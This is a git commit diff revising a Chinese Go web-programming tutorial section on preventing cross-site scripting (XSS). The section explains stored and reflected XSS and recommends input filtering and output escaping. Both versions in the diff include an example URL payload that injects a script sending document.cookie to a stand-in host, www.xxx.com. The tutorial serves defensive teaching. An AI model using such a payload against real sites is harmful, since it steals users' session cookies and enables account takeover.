update 9.3,9.4,9.5~

This commit is contained in:
chenwenli
2012-10-23 14:39:41 +08:00
parent a656b98697
commit 3eed4642cb
3 changed files with 19 additions and 18 deletions

13
9.3.md
View File

@@ -1,10 +1,10 @@
##9.3 避免XSS攻击
随着互联网技术的发展现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容就是Web应用程序能够根据用户环境和需要输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
随着互联网技术的发展现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容就是应用程序能够根据用户环境和用户请求输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
##什么是XSS
XSS攻击跨站脚本攻击(Cross-Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞它允许恶意web用户将代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者)XSS涉及到三方即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取客户端的cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后攻击者甚至可以假冒最终用户与网站进行交互。
XSS攻击跨站脚本攻击(Cross-Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者)XSS涉及到三方即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。
XSS通常可以分为两大类一类是存储型XSS主要出现在让用户输入数据供其他浏览此页的用户进行查看的地方包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据在页面中显示出来攻击者在相关页面输入恶意的脚本数据后用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS主要是将脚本加入URL地址的程序参数里,参数进入程序后在页面直接输出脚本内容,用户点击类似的恶意链接就可能受到攻击。
XSS通常可以分为两大类一类是存储型XSS主要出现在让用户输入数据供其他浏览此页的用户进行查看的地方包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据在页面中显示出来攻击者在相关页面输入恶意的脚本数据后用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。
XSS目前主要的手段和目的如下
@@ -21,9 +21,9 @@ Web应用未对用户提交请求的数据做充分的检查过滤允许用
hello astaxie
如果我们传递这样的url"http://127.0.0.1/?name=alert(&#39;astaxie,xss&#39;)",这时你就会发现浏览器跳出一个弹出框这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢与上类似如下这样的url"http://127.0.0.1/?name=<script>document.location='http://www.xxx.com/cookie?'%20+document.cookie</script>"这样就可以把当前的cookie发送到指定的站点www.xxx.com。你也放会说这样的URL一看就有问题怎么会有人点击是的这类的URL会让人怀疑但如果使用短网址服务将之缩短你还看得出来么攻击者将缩短过后的url通过某些途径传播开来被攻击用户一旦点击了这样的url相应cookie数据就会被发送事先设定好的站点这样就盗得了cookie信息然后就可以利用Websleuth之类的工具来检查是否能盗取那个可怜的用户的账户信息了
如果我们传递这样的url"http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;",这时你就会发现浏览器跳出一个弹出框这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢与上类似如下这样的url"http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;"这样就可以把当前的cookie发送到指定的站点www.xxx.com。你也放会说这样的URL一看就有问题怎么会有人点击是的这类的URL会让人怀疑但如果使用短网址服务将之缩短你还看得出来么攻击者将缩短过后的url通过某些途径传播开来不明真相的用户一旦点击了这样的url相应cookie数据就会被发送事先设定好的站点这样就盗得了用户的cookie信息然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。
更加详细的关于XSS的分析大家可以参考这篇叫做《新浪微博XSS事件分析》的文章(http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html
更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章
##如何预防XSS
答案很简单坚决不要相信用户的任何输入并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
@@ -38,9 +38,10 @@ Web应用未对用户提交请求的数据做充分的检查过滤允许用
- 使用HTTP头指定类型
w.Header().Set("Content-Type","text/javascript")
`w.Header().Set("Content-Type","text/javascript")`
这样就可以让浏览器解析javascript代码而不会是html输出。
##总结
XSS漏洞是相当有危害的在开发Web应用的时候一定要记住过滤数据特别是在输出到客户端之前这是现在行之有效的防止XSS的手段。